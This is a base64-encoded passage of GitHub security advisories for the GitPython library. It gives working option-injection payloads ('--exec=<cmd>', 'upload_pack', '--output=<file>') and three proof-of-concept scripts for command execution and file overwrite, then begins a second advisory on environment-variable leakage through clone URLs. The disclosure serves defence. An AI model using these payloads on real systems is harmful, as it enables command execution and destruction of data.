yJyZW1vdGUiOiAiLiIsICJleGVjIjogIjxjbWQ+In1gIGJlY29tZXMgYGdpdCBhcmNoaXZlIC0tcmVtb3RlPS4gLS1leGVjPTxjbWQ+IC0tIDx0cmVlaXNoPmAsIGFuZCBgZ2l0IGFyY2hpdmUgLS1yZW1vdGU9PGxvY2FsIHJlcG8+YCBpbnZva2VzIGBnaXQtdXBsb2FkLWFyY2hpdmVgIHdob3NlIHBhdGggaXMgb3ZlcnJpZGRlbiBieSBgLS1leGVjYCDihpIgKiphcmJpdHJhcnkgY29tbWFuZCBleGVjdXRpb24gdW5kZXIgZGVmYXVsdCBHaXQgY29uZmlndXJhdGlvbioqIChubyBgcHJvdG9jb2wuZXh0LmFsbG93YCBuZWVkZWQpLgoKMi4gKipgcmVwby5naXQubHNfcmVtb3RlKDx1cmw+LCB1cGxvYWRfcGFjaz0iPGNtZD4iKWAqKiAoYW5kIHRoZSBkeW5hbWljLWNvbW1hbmQgYnVpbGRlciBnZW5lcmFsbHkpIHR1cm5zIHRoZSBgdXBsb2FkX3BhY2tgIGt3YXJnIGludG8gYC0tdXBsb2FkLXBhY2s9PGNtZD5gIHdpdGggbm8gZ3VhcmQg4oaSICoqYXJiaXRyYXJ5IGNvbW1hbmQgZXhlY3V0aW9uKiouCgozLiAqKmBSZXBvLml0ZXJfY29tbWl0cyhyZXYpYCoqIGFuZCAqKmBSZXBvLmJsYW1lKHJldiwgZmlsZSlgKiogcGxhY2UgdGhlIGNhbGxlcidzIGByZXZgIHZhbHVlIGludG8gdGhlIGFyZ3YgKmJlZm9yZSogdGhlIGAtLWAgZW5kLW9mLW9wdGlvbnMgc2VwYXJhdG9yIGFuZCBhcHBseSBubyBsZWFkaW5nLWRhc2ggY2hlY2suIEEgYmVuaWduLWxvb2tpbmcgcmVmIHZhbHVlIHN1Y2ggYXMgYC0tb3V0cHV0PS9wYXRoL3RvL2ZpbGVgIGlzIHBhcnNlZCBieSBgZ2l0IHJldi1saXN0YCAvIGBnaXQgYmxhbWVgIGFzIHRoZSBgLS1vdXRwdXRgIG9wdGlvbiwgd2hpY2ggKipvcGVucyBhbmQgdHJ1bmNhdGVzIGFuIGFyYml0cmFyeSBmaWxlKiogYmVmb3JlIEdpdCBldmVuIHZhbGlkYXRlcyB0aGUgcmV2aXNpb24g4oaSIGFyYml0cmFyeSBmaWxlIGNsb2JiZXIgKGludGVncml0eS9hdmFpbGFiaWxpdHk7IGNhbiBkZXN0cm95IGtleXMsIGNvbmZpZ3MsIGxvY2tmaWxlcywgb3IgYmUgYWltZWQgYXQgZmlsZXMgdGhlIGhvc3QgbGF0ZXIgc291cmNlcykuCgpUaGUgZmlyc3QgdHdvIGFyZSBkaXJlY3QgY29kZSBleGVjdXRpb247IHRoZSB0aGlyZCBpcyBhbiBhcmJpdHJhcnkgZmlsZS1vdmVyd3JpdGUgcHJpbWl0aXZlLiBBbGwgc2hhcmUgb25lIHJvb3QgY2F1c2U6IHRoZSBgY2hlY2tfdW5zYWZlX29wdGlvbnNgIC8gZW5kLW9mLW9wdGlvbnMgZGlzY2lwbGluZSB0aGF0IEdpdFB5dGhvbiBhcHBsaWVzIHRvIGNsb25lL2ZldGNoL3B1bGwvcHVzaCB3YXMgbmV2ZXIgZXh0ZW5kZWQgdG8gdGhlc2Ugc2lua3MuCgojIyMjIyBEZXRhaWxzCgpHaXRQeXRob24gZXhwbGljaXRseSByZWNvZ25pc2VzIHRoZXNlIG9wdGlvbnMgYXMgY29tbWFuZC1leGVjdXRpb24gdmVjdG9ycy4gYGdpdC9yZW1vdGUucHk6NTM1YDoKCmBgYHB5dGhvbgp1bnNhZmVfZ2l0X2ZldGNoX29wdGlvbnMgPSBbCiAgICAjIEFyYml0cmFyeSBjb21tYW5kIGV4ZWN1dGlvbi4KICAgICItLXVwbG9hZC1wYWNrIiwKICAgICItLXJlY2VpdmUtcGFjayIsCiAgICAjIEFyYml0cmFyeSBmaWxlIG92ZXJ3cml0ZS4KICAgICItLWV4ZWMiLApdCmBgYAoKYW5kIGVuZm9yY2VzIHRoZW0gdmlhIGBHaXQuY2hlY2tfdW5zYWZlX29wdGlvbnMoKWAgKGBnaXQvY21kLnB5Ojk2M2ApOgoKYGBgcHl0aG9uCmRlZiBjaGVja191bnNhZmVfb3B0aW9ucyhjbHMsIG9wdGlvbnMsIHVuc2FmZV9vcHRpb25zKToKICAgIC4uLgogICAgaWYgdW5zYWZlX29wdGlvbiBpcyBub3QgTm9uZToKICAgICAgICByYWlzZSBVbnNhZmVPcHRpb25FcnJvcihmInt1bnNhZmVfb3B0aW9ufSBpcyBub3QgYWxsb3dlZCwgdXNlIGBhbGxvd191bnNhZmVfb3B0aW9ucz1UcnVlYCB0byBhbGxvdyBpdC4iKQpgYGAKCkJ1dCBgY2hlY2tfdW5zYWZlX29wdGlvbnNgIGlzIGludm9rZWQgZnJvbSAqKm9ubHkgZml2ZSBzaXRlcyoqLCBhbGwgbmV0d29yayBjb21tYW5kczoKCmBgYApnaXQvcmVtb3RlLnB5OjEwNzEgICBSZW1vdGUuZmV0Y2gKZ2l0L3JlbW90ZS5weToxMTI1ICAgUmVtb3RlLnB1bGwKZ2l0L3JlbW90ZS5weToxMTk4ICAgUmVtb3RlLnB1c2gKZ2l0L3JlcG8vYmFzZS5weToxNDEwIC8gOjE0MTIgIFJlcG8uY2xvbmVfZnJvbQpgYGAKClRoZSBmb2xsb3dpbmcgc2lua3MgY2FsbCBgZ2l0YCB3aXRoIGNhbGxlci1jb250cm9sbGVkIG9wdGlvbnMvcG9zaXRpb25hbHMgYW5kIGFyZSAqKm5vdCoqIGd1YXJkZWQ6CgojIyMjIyAxLiBgUmVwby5hcmNoaXZlYCDigJQgY29tbWFuZCBleGVjdXRpb24gKGBnaXQvcmVwby9iYXNlLnB5OjE2MjNgKQoKYGBgcHl0aG9uCmRlZiBhcmNoaXZlKHNlbGYsIG9zdHJlYW0sIHRyZWVpc2g9Tm9uZSwgcHJlZml4PU5vbmUsICoqa3dhcmdzKToKICAgIC4uLgogICAgc2VsZi5naXQuYXJjaGl2ZSgiLS0iLCB0cmVlaXNoLCAqcGF0aCwgKiprd2FyZ3MpCiAgICByZXR1cm4gc2VsZgpgYGAKCmB0cmVlaXNoYCBhbmQgYHBhdGhgIGFyZSBjb3JyZWN0bHkgcGxhY2VkIGFmdGVyIGAtLWAsIGJ1dCBgKiprd2FyZ3NgIGFyZSBjb252ZXJ0ZWQgYnkgYEdpdC50cmFuc2Zvcm1fa3dhcmdgIChgZ2l0L2NtZC5weToxNDg3YCkgaW50byBgLS08bmFtZT49PHZhbHVlPmAgZmxhZ3MgYW5kIGluc2VydGVkICoqYmVmb3JlKiogdGhlIGAtLWAgYnkgYF9jYWxsX3Byb2Nlc3NgLCB3aXRoIG5vIGBjaGVja191bnNhZmVfb3B0aW9uc2AuIGBSZXBvLmFyY2hpdmVgIGFscmVhZHkgZG9jdW1lbnRzIHVzZXItZmFjaW5nIGt3YXJncyAoYGZvcm1hdGAsIGBwcmVmaXhgLCBgcGF0aGApLCBzbyBmb3J3YXJkaW5nIGEgY2FsbGVyIG9wdGlvbnMgbWFwcGluZyBpcyBhbiBleHBlY3RlZCB1c2FnZS4gRmluYWwgYXJndjoKCmBgYApnaXQgYXJjaGl2ZSAtLXJlbW90ZT0uIC0tZXhlYz08Y21kPiAtLSA8dHJlZWlzaD4KYGBgCgpgZ2l0IGFyY2hpdmUgLS1yZW1vdGU9PHJlcG8+YCBydW5zIHRoZSB1cGxvYWQtYXJjaGl2ZSBoZWxwZXI7IGAtLWV4ZWM9PGNtZD5gIG92ZXJyaWRlcyB0aGUgaGVscGVyIHBhdGgsIGV4ZWN1dGluZyBgPGNtZD5gIG9uIHRoZSBob3N0LiBUaGlzIHdvcmtzIHdpdGggKipkZWZhdWx0IEdpdCBjb25maWcqKiDigJQgaXQgZG9lcyBub3QgcmVseSBvbiB0aGUgYGV4dDo6YCB0cmFuc3BvcnQgKHdoaWNoIGlzIGJsb2NrZWQgYnkgZGVmYXVsdCkuCgojIyMjIyAyLiBgcmVwby5naXQubHNfcmVtb3RlKC4uLiwgdXBsb2FkX3BhY2s9Li4uKWAg4oCUIGNvbW1hbmQgZXhlY3V0aW9uIChkeW5hbWljIGJ1aWxkZXIsIGBnaXQvY21kLnB5OjE0ODdgKQoKYHRyYW5zZm9ybV9rd2FyZ2AgZGFzaGlmaWVzIGB1cGxvYWRfcGFja2Ag4oaSIGAtLXVwbG9hZC1wYWNrPTx2YWx1ZT5gLiBgZ2l0IGxzLXJlbW90ZSA8bG9jYWwtcmVwbz4gLS11cGxvYWQtcGFjaz08Y21kPmAgZXhlY3V0ZXMgYDxjbWQ+YC4gVGhlIGR5bmFtaWMgYnVpbGRlciBtYWtlcyAqKmJvdGgqKiB0aGUgZmxhZyBuYW1lIGFuZCB2YWx1ZSBjYWxsZXItY29udHJvbGxlZCAoYHJlcG8uZ2l0Ljxhbnl0aGluZz4oKip1c2VyX2RpY3QpYCksIGFuZCBgbHNfcmVtb3RlYCBoYXMgbm8gYGNoZWNrX3Vuc2FmZV9vcHRpb25zYC4KClRoaXMgaXMgZXhhY3RseSB0aGUgdW5kZXJzY29yZS1rd2FyZy12cy1oeXBoZW4ta3dhcmcgZ2FwIHRoYXQgQ1ZFLTIwMjYtNDIyMTUgZml4ZWQgZm9yIGBmZXRjaGAvYHB1bGxgL2BwdXNoYC9gY2xvbmVfZnJvbWAg4oCUIGJ1dCBgbHNfcmVtb3RlYCBhbmQgdGhlIHJlc3Qgb2YgdGhlIGR5bmFtaWMgc3VyZmFjZSB3ZXJlIGxlZnQgdW5wYXRjaGVkLgoKIyMjIyMgMy4gYFJlcG8uaXRlcl9jb21taXRzYCAvIGBSZXBvLmJsYW1lYCDigJQgYXJiaXRyYXJ5IGZpbGUgb3ZlcndyaXRlIChgZ2l0L29iamVjdHMvY29tbWl0LnB5OjM0OGAsIGBnaXQvcmVwby9iYXNlLnB5OjExOTlgKQoKYGBgcHl0aG9uCgojIyMjIyBDb21taXQuaXRlcl9pdGVtcyAocmVhY2hlZCB2aWEgUmVwby5pdGVyX2NvbW1pdHMpCnByb2MgPSByZXBvLmdpdC5yZXZfbGlzdChyZXYsIGFyZ3NfbGlzdCwgYXNfcHJvY2Vzcz1UcnVlLCAqKmt3YXJncykgICAjIGFyZ3NfbGlzdCA9PSBbIi0tIiwgKnBhdGhzXQpgYGAKCmBgYHB5dGhvbgoKIyMjIyMgUmVwby5ibGFtZQpkYXRhID0gc2VsZi5naXQuYmxhbWUocmV2LCAqcmV2X29wdHMsICItLSIsIGZpbGUsIHA9VHJ1ZSwgc3Rkb3V0X2FzX3N0cmluZz1GYWxzZSwgKiprd2FyZ3MpCmBgYAoKYHJldmAgaXMgcGxhY2VkICoqYmVmb3JlKiogYC0tYCwgd2l0aCBubyBsZWFkaW5nLWRhc2ggY2hlY2sgYW55d2hlcmUgaW4gdGhlIHBhdGguIEEgY2FsbGVyIHBhc3NpbmcgYHJldj0iLS1vdXRwdXQ9L3BhdGgiYCAoYSB2YWx1ZSB0aGF0IGxvb2tzIGxpa2UgYW4gb3JkaW5hcnkgcmVmL2JyYW5jaC90YWcgc3RyaW5nIGFuIGFwcCBmb3J3YXJkcyBmcm9tIHVzZXIgaW5wdXQpIHByb2R1Y2VzOgoKYGBgCmdpdCByZXYtbGlzdCAtLW91dHB1dD0vcGF0aCAtLQpgYGAKCmBnaXQgcmV2LWxpc3RgL2Bsb2dgL2BibGFtZWAgaG9ub3VyIGAtLW91dHB1dD08ZmlsZT5gLCB3aGljaCBgb3BlbigpYHMgYW5kIHRydW5jYXRlcyB0aGUgZmlsZSAqYmVmb3JlKiB2YWxpZGF0aW5nIHRoZSByZXZpc2lvbiDigJQgc28gdGhlIGZpbGUgaXMgZGVzdHJveWVkIGV2ZW4gdGhvdWdoIEdpdCB0aGVuIGVycm9ycyBvdXQgb24gdGhlIGJhZCByZXZpc2lvbi4KCiMjIyMjIFBvQwoKQWxsIHRocmVlIFBvQ3MgYXJlIHNlbGYtY29udGFpbmVkLCBydW4gYWdhaW5zdCB0aGUgcmVsZWFzZWQgKipHaXRQeXRob24gMy4xLjUwKiogdW5kZXIgKipkZWZhdWx0IEdpdCBjb25maWd1cmF0aW9uKiosIGFuZCB3ZXJlIGV4ZWN1dGVkIGxpdmUgKGdpdCAyLjUxLjApLiBFYWNoIHByaW50cyBhIGhvc3Qtc2lkZSBtYXJrZXIgcHJvdmluZyB0aGUgZWZmZWN0LgoKIyMjIyMgSW5zdGFsbAoKYGBgYmFzaApweXRob24zIC1tIHZlbnYgdmVudiAmJiAuIHZlbnYvYmluL2FjdGl2YXRlCnBpcCBpbnN0YWxsIEdpdFB5dGhvbiAgICAgICAgICAgIyByZXNvbHZlcyB0byAzLjEuNTAKcHl0aG9uIC1jICJpbXBvcnQgZ2l0OyBwcmludChnaXQuX192ZXJzaW9uX18pIiAgICMgMy4xLjUwCmBgYAoKIyMjIyMgUG9DIDEg4oCUIGNvbW1hbmQgZXhlY3V0aW9uIHZpYSBgUmVwby5hcmNoaXZlYAoKYGBgcHl0aG9uCgojIyMjIyBhcmNoaXZlX3JjZS5weQppbXBvcnQgaW8sIG9zLCB0ZW1wZmlsZSwgc3VicHJvY2VzcywgZ2l0CgpkID0gdGVtcGZpbGUubWtkdGVtcCgpCnN1YnByb2Nlc3MucnVuKFsnZ2l0JywnaW5pdCcsJy1xJyxkXSwgY2hlY2s9VHJ1ZSkKc3VicHJvY2Vzcy5ydW4oWydnaXQnLCctQycsZCwnLWMnLCd1c2VyLmVtYWlsPWFAYi5jJywnLWMnLCd1c2VyLm5hbWU9YScsCiAgICAgICAgICAgICAgICAnY29tbWl0JywnLXEnLCctLWFsbG93LWVtcHR5JywnLW0nLCdpbml0J10sIGNoZWNrPVRydWUpCnJlcG8gPSBnaXQuUmVwbyhkKQoKbWFya2VyID0gb3MucGF0aC5qb2luKHRlbXBmaWxlLmdldHRlbXBkaXIoKSwgJ2dwX3JjZV9tYXJrZXInKQppZiBvcy5wYXRoLmV4aXN0cyhtYXJrZXIpOiBvcy5yZW1vdmUobWFya2VyKQoKIyMjIyMgYSBzZXJ2aWNlIGxldHMgYSB1c2VyIGV4cG9ydCBhIHJlcG8gYW5kIGZvcndhcmRzIHRoZWlyIG9wdGlvbnMgZGljdApvcHRzID0geydyZW1vdGUnOiAnLicsICdleGVjJzogJ3RvdWNoICcgKyBtYXJrZXJ9CnRyeToKICAgIHJlcG8uYXJjaGl2ZShpby5CeXRlc0lPKCksICoqb3B0cykKZXhjZXB0IGdpdC5leGMuR2l0Q29tbWFuZEVycm9yIGFzIGU6CiAgICBwcmludCgnWypdIGdpdCBleGl0ZWQgbm9uLXplcm8gKGV4cGVjdGVkKSwgYnV0IHRoZSBleGVjIGFscmVhZHkgcmFuOicsIHN0cihlKS5zcGxpdGxpbmVzKClbMF1bOjYwXSkKCnByaW50KCdbK10gbWFya2VyIHByZXNlbnQ6Jywgb3MucGF0aC5leGlzdHMobWFya2VyKSkKYGBgCgpWZXJiYXRpbSBvdXRwdXQ6CgpgYGAKWypdIGdpdCBleGl0ZWQgbm9uLXplcm8gKGV4cGVjdGVkKSwgYnV0IHRoZSBleGVjIGFscmVhZHkgcmFuOiBDbWQoJ2dpdCcpIGZhaWxlZCBkdWUgdG86IGV4aXQgY29kZSgxMjgpClsrXSBtYXJrZXIgcHJlc2VudDogVHJ1ZQpgYGAKCmBnaXQgY29uZmlnIC0tZ2V0IHByb3RvY29sLmV4dC5hbGxvd2AgcmV0dXJucyBub3RoaW5nICh1bnNldCA9IGRlZmF1bHQpLCBjb25maXJtaW5nIG5vIHNwZWNpYWwgY29uZmlnIGlzIHJlcXVpcmVkLgoKIyMjIyMgUG9DIDIg4oCUIGNvbW1hbmQgZXhlY3V0aW9uIHZpYSBgZ2l0LmxzX3JlbW90ZSh1cGxvYWRfcGFjaz0uLi4pYAoKYGBgcHl0aG9uCgojIyMjIyBsc3JlbW90ZV9yY2UucHkKaW1wb3J0IG9zLCB0ZW1wZmlsZSwgc3VicHJvY2VzcywgZ2l0CmQgPSB0ZW1wZmlsZS5ta2R0ZW1wKCkKc3VicHJvY2Vzcy5ydW4oWydnaXQnLCdpbml0JywnLXEnLGRdLCBjaGVjaz1UcnVlKQpzdWJwcm9jZXNzLnJ1bihbJ2dpdCcsJy1DJyxkLCctYycsJ3VzZXIuZW1haWw9YUBiLmMnLCctYycsJ3VzZXIubmFtZT1hJywnY29tbWl0JywnLXEnLCctLWFsbG93LWVtcHR5JywnLW0nLCdpbml0J10sIGNoZWNrPVRydWUpCnJlcG8gPSBnaXQuUmVwbyhkKQptYXJrZXIgPSBvcy5wYXRoLmpvaW4odGVtcGZpbGUuZ2V0dGVtcGRpcigpLCdncF9sc3JfbWFya2VyJykKaWYgb3MucGF0aC5leGlzdHMobWFya2VyKTogb3MucmVtb3ZlKG1hcmtlcikKdHJ5OgogICAgcmVwby5naXQubHNfcmVtb3RlKCcuJywgdXBsb2FkX3BhY2s9J3RvdWNoICcrbWFya2VyKyc7JykKZXhjZXB0IGdpdC5leGMuR2l0Q29tbWFuZEVycm9yIGFzIGU6CiAgICBwcmludCgnWypdIGdpdCBlcnI6Jywgc3RyKGUpLnNwbGl0bGluZXMoKVswXVs6NTBdKQpwcmludCgnWytdIGxzLXJlbW90ZSBtYXJrZXIgcHJlc2VudDonLCBvcy5wYXRoLmV4aXN0cyhtYXJrZXIpKQpgYGAKClZlcmJhdGltIG91dHB1dDoKCmBgYApbKl0gZ2l0IGVycjogQ21kKCdnaXQnKSBmYWlsZWQgZHVlIHRvOiBleGl0IGNvZGUoMTI4KQpbK10gbHMtcmVtb3RlIG1hcmtlciBwcmVzZW50OiBUcnVlCmBgYAoKIyMjIyMgUG9DIDMg4oCUIGFyYml0cmFyeSBmaWxlIG92ZXJ3cml0ZSB2aWEgYSBiZW5pZ24tbG9va2luZyBgcmV2YAoKYGBgcHl0aG9uCgojIyMjIyBpdGVyY29tbWl0c19maWxld3JpdGUucHkKaW1wb3J0IG9zLCB0ZW1wZmlsZSwgc3VicHJvY2VzcywgZ2l0CmQgPSB0ZW1wZmlsZS5ta2R0ZW1wKCkKc3VicHJvY2Vzcy5ydW4oWydnaXQnLCdpbml0JywnLXEnLGRdLCBjaGVjaz1UcnVlKQpzdWJwcm9jZXNzLnJ1bihbJ2dpdCcsJy1DJyxkLCctYycsJ3VzZXIuZW1haWw9YUBiLmMnLCctYycsJ3VzZXIubmFtZT1hJywnY29tbWl0JywnLXEnLCctLWFsbG93LWVtcHR5JywnLW0nLCdpbml0J10sIGNoZWNrPVRydWUpCnJlcG8gPSBnaXQuUmVwbyhkKQp2aWN0aW0gPSBvcy5wYXRoLmpvaW4odGVtcGZpbGUuZ2V0dGVtcGRpcigpLCdncF9md192aWN0aW0nKQpvcGVuKHZpY3RpbSwndycpLndyaXRlKCdkbyBub3QgZGVsZXRlXG4nKQpwcmludCgnWypdIGJlZm9yZTonLCByZXByKG9wZW4odmljdGltKS5yZWFkKCkpKQp1c2VyX3JlZiA9ICctLW91dHB1dD0nICsgdmljdGltICAgICAgICAgICMgdmFsdWUgYW4gYXBwIGZvcndhcmRzIGFzIGEgInJlZi9icmFuY2giCnRyeToKICAgIGxpc3QocmVwby5pdGVyX2NvbW1pdHModXNlcl9yZWYpKQpleGNlcHQgZ2l0LmV4Yy5HaXRDb21tYW5kRXJyb3IgYXMgZToKICAgIHByaW50KCdbKl0gZ2l0IGVyciAoYWZ0ZXIgb3Blbit0cnVuY2F0ZSk6Jywgc3RyKGUpLnNwbGl0bGluZXMoKVswXVs6NTBdKQpwcmludCgnWytdIGFmdGVyIDonLCByZXByKG9wZW4odmljdGltKS5yZWFkKCkpLCAnPC0gdHJ1bmNhdGVkJykKYGBgCgpWZXJiYXRpbSBvdXRwdXQ6CgpgYGAKWypdIGJlZm9yZTogJ2RvIG5vdCBkZWxldGVcbicKWypdIGdpdCBlcnIgKGFmdGVyIG9wZW4rdHJ1bmNhdGUpOiBDbWQoJ2dpdCcpIGZhaWxlZCBkdWUgdG86IGV4aXQgY29kZSgxMjkpClsrXSBhZnRlciA6ICcnIDwtIHRydW5jYXRlZApgYGAKCiMjIyMgU2V2ZXJpdHkKLSBDVlNTIFNjb3JlOiA4LjQgLyAxMCAoSGlnaCkKLSBWZWN0b3IgU3RyaW5nOiBgQ1ZTUzozLjEvQVY6TC9BQzpML1BSOk4vVUk6Ti9TOlUvQzpIL0k6SC9BOkhgCgojIyMjIFJlZmVyZW5jZXMKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtOTU2eC04Z3Z3LXdnNXZdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLTk1NngtOGd2dy13ZzV2KQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjE2M10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxNjMpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vY29tbWl0LzcwMWNlMzJmZTViYThjYjYyMmMwZTAzNDJhMzc2YTZiZWI0N2Q3MzhdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vY29tbWl0LzcwMWNlMzJmZTViYThjYjYyMmMwZTAzNDJhMzc2YTZiZWI0N2Q3MzgpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS41MV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjUxKQotIFtodHRwczovL2dpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLTk1NngtOGd2dy13ZzV2XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLTk1NngtOGd2dy13ZzV2KQoKVGhpcyBkYXRhIGlzIHByb3ZpZGVkIGJ5IHRoZSBbR2l0SHViIEFkdmlzb3J5IERhdGFiYXNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLTk1NngtOGd2dy13ZzV2KSAoW0NDLUJZIDQuMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZS9ibG9iL21haW4vTElDRU5TRS5tZCkpLgo8L2RldGFpbHM+CgotLS0KCiMjIyBHaXRQeXRob246IEVudmlyb25tZW50LXZhcmlhYmxlIGV4ZmlsdHJhdGlvbiB2aWEgb3MucGF0aC5leHBhbmR2YXJzKCkgb24gUmVwby5jbG9uZV9mcm9tKCkgVVJMCltHSFNBLXJ3ajgtcGdoMy1yNTczXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXJ3ajgtcGdoMy1yNTczKQoKPGRldGFpbHM+CjxzdW1tYXJ5Pk1vcmUgaW5mb3JtYXRpb248L3N1bW1hcnk+CgojIyMjIERldGFpbHMKIyMjIyMgU3VtbWFyeQpgUmVwby5jbG9uZV9mcm9tKClgIHBhc3NlcyB0aGUgY2FsbGVyLXN1cHBsaWVkIHJlbW90ZSBVUkwgdGhyb3VnaCBgR2l0LnBvbGlzaF91cmwoKWAsIHdoaWNoIG9uIGV2ZXJ5IG5vbi1DeWd3aW4gcGxhdGZvcm0gY2FsbHMgYG9zLnBhdGguZXhwYW5kdmFycygpYCBvbiB0aGUgVVJMIGJlZm9yZSBoYW5kaW5nIGl0IHRvIGBnaXQgY2xvbmVgLiBBbiBhdHRhY2tlciB3aG8gY29udHJvbHMgdGhlIFVSTCBhcmd1bWVudCDigJQgdGhlIGRvY3VtZW50ZWQgdXNlIGNhc2UgZm9yIGBjbG9uZV9mcm9tKClgIGluICJpbXBvcnQgcmVwb3NpdG9yeSBmcm9tIFVSTCIgZmVhdHVyZXMgb2YgQ0kgc2VydmVycywgZ2l0LWhvc3RpbmcgbWlycm9ycywgYW5kIGRlcGVuZGVuY3kgc2Nhbm5lcnMg4oCUIGNhbiBlbWJlZCBgJE5BTUVgIC8gYCR7TkFNRX1gIHRva2VucyB0aGF0IGFyZSBleHBhbmRlZCBzZXJ2ZXItc2lkZSB0byB0aGUgdmFsdWVzIG9mIHRoZSBob3N0aW5nIHByb2Nlc3MncyBlbnZpcm9ubWVudCB2YXJpYWJsZXMuIFRoZSByZXN1bHRpbmcgVVJMLCBub3cgY29udGFpbmluZyB0aGUgc2VjcmV0LCBpcyB0cmFuc21pdHRlZCBvdmVyIHRoZSBuZXR3b3JrIHRvIHRoZSBhdHRhY2tlci1uYW1lZCBob3N0LiBUaGlzIGNyb3NzZXMgdGhlIHRydXN0IGJvdW5kYXJ5IGJldHdlZW4gYW4gdW50cnVzdGVkIHJlbW90ZSBVUkwgYW5kIHRoZSBzZXJ2ZXIncyBwcm9jZXNzIGVudmlyb25tZW50LCBkaXNjbG9zaW5nIHNlY3JldHMgc3VjaCBhcyBgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZYCBvciBgR0lUSFVCX1RPS0VOYCB3aXRoIG5vIHByZWNvbmRpdGlvbiBiZXlvbmQgdGhlIGFiaWxpdHkgdG8gc3VibWl0IGEgY2xvbmUgVVJMLgoKIyMjIyMgRGV0YWlscwoqKkFmZmVjdGVkIHZlcnNpb25zOioqIGBnaXRweXRob25gIChQeVBJKSDigJQgYWxsIHJlbGVhc2VzIHVwIHRvIGFuZCBpbmNsdWRpbmcgYDMuMS41MGAgKGxhdGVzdCBhdCB0aW1lIG9mIHJlcG9ydGluZyk7IGNvbmZpcm1lZCBwcmVzZW50IG9uIHRoZSBgbWFpbmAgYnJhbmNoLgoKYEdpdC5wb2xpc2hfdXJsKClgIHVuY29uZGl0aW9uYWxseSBhcHBsaWVzIGVudmlyb25tZW50LXZhcmlhYmxlIGV4cGFuc2lvbiB0byBpdHMgaW5wdXQgb24gdGhlIG5vbi1DeWd3aW4gYnJhbmNoOgoKYGdpdC9jbWQucHlgICh2My4xLjUwKSwgbGluZXMgOTA34oCTOTI1OgpgYGBweXRob24KQGNsYXNzbWV0aG9kCmRlZiBwb2xpc2hfdXJsKGNscywgdXJsOiBzdHIsIGlzX2N5Z3dpbjogVW5pb25bTm9uZSwgYm9vbF0gPSBOb25lKSAtPiBQYXRoTGlrZToKICAgICIiIlJlbW92ZSBhbnkgYmFja3NsYXNoZXMgZnJvbSBVUkxzIHRvIGJlIHdyaXR0ZW4gaW4gY29uZmlnIGZpbGVzLgogICAgLi4uCiAgICAiIiIKICAgIGlmIGlzX2N5Z3dpbiBpcyBOb25lOgogICAgICAgIGlzX2N5Z3dpbiA9IGNscy5pc19jeWd3aW4oKQoKICAgIGlmIGlzX2N5Z3dpbjoKICAgICAgICB1cmwgPSBjeWdwYXRoKHVybCkKICAgIGVsc2U6CiAgICAgICAgdXJsID0gb3MucGF0aC5leHBhbmR2YXJzKHVybCkgICAgICAgICAgIyA8LS0gbGluZSA5MjEKICAgICAgICBpZiB1cmwuc3RhcnRzd2l0aCgifiIpOgogICAgICAgICAgICB1cmwgPSBvcy5wYXRoLmV4cGFuZHVzZXIodXJsKQogICAgICAgIHVybCA9IHVybC5yZXBsYWNlKCJcXFxcIiwgIlxcIikucmVwbGFjZSgiXFwiLCAiLyIpCiAgICByZXR1cm4gdXJsCmBgYAoKYFJlcG8uX2Nsb25lKClgIOKAlCByZWFjaGVkIGZyb20gdGhlIHB1YmxpYyBgUmVwby5jbG9uZV9mcm9tKClgIChgZ2l0L3JlcG8vYmFzZS5weToxNTIwYCkgYW5kIGBSZXBvLmNsb25lKClgIOKAlCBydW5zIHRoZSB1bnNhZmUtcHJvdG9jb2wgY2hlY2sgb24gdGhlICoqcmF3KiogVVJMIGFuZCB0aGVuIHBhc3NlcyB0aGUgKipwb2xpc2hlZCoqIChwb3N0LWV4cGFuc2lvbikgVVJMIHRvIHRoZSBgZ2l0IGNsb25lYCBzdWJwcm9jZXNzOgoKYGdpdC9yZXBvL2Jhc2UucHlgICh2My4xLjUwKSwgbGluZXMgMTQwN+KAkzE0MTg6CmBgYHB5dGhvbgppZiBub3QgYWxsb3dfdW5zYWZlX3Byb3RvY29sczoKICAgIEdpdC5jaGVja191bnNhZmVfcHJvdG9jb2xzKHVybCkKaWYgbm90IGFsbG93X3Vuc2FmZV9vcHRpb25zOgogICAgR2l0LmNoZWNrX3Vuc2FmZV9vcHRpb25zKG9wdGlvbnM9bGlzdChrd2FyZ3Mua2V5cygpKSwgdW5zYWZlX29wdGlvbnM9Y2xzLnVuc2FmZV9naXRfY2xvbmVfb3B0aW9ucykKaWYgbm90IGFsbG93X3Vuc2FmZV9vcHRpb25zIGFuZCBtdWx0aToKICAgIEdpdC5jaGVja191bnNhZmVfb3B0aW9ucyhvcHRpb25zPW11bHRpLCB1bnNhZmVfb3B0aW9ucz1jbHMudW5zYWZlX2dpdF9jbG9uZV9vcHRpb25zKQoKcHJvYyA9IGdpdC5jbG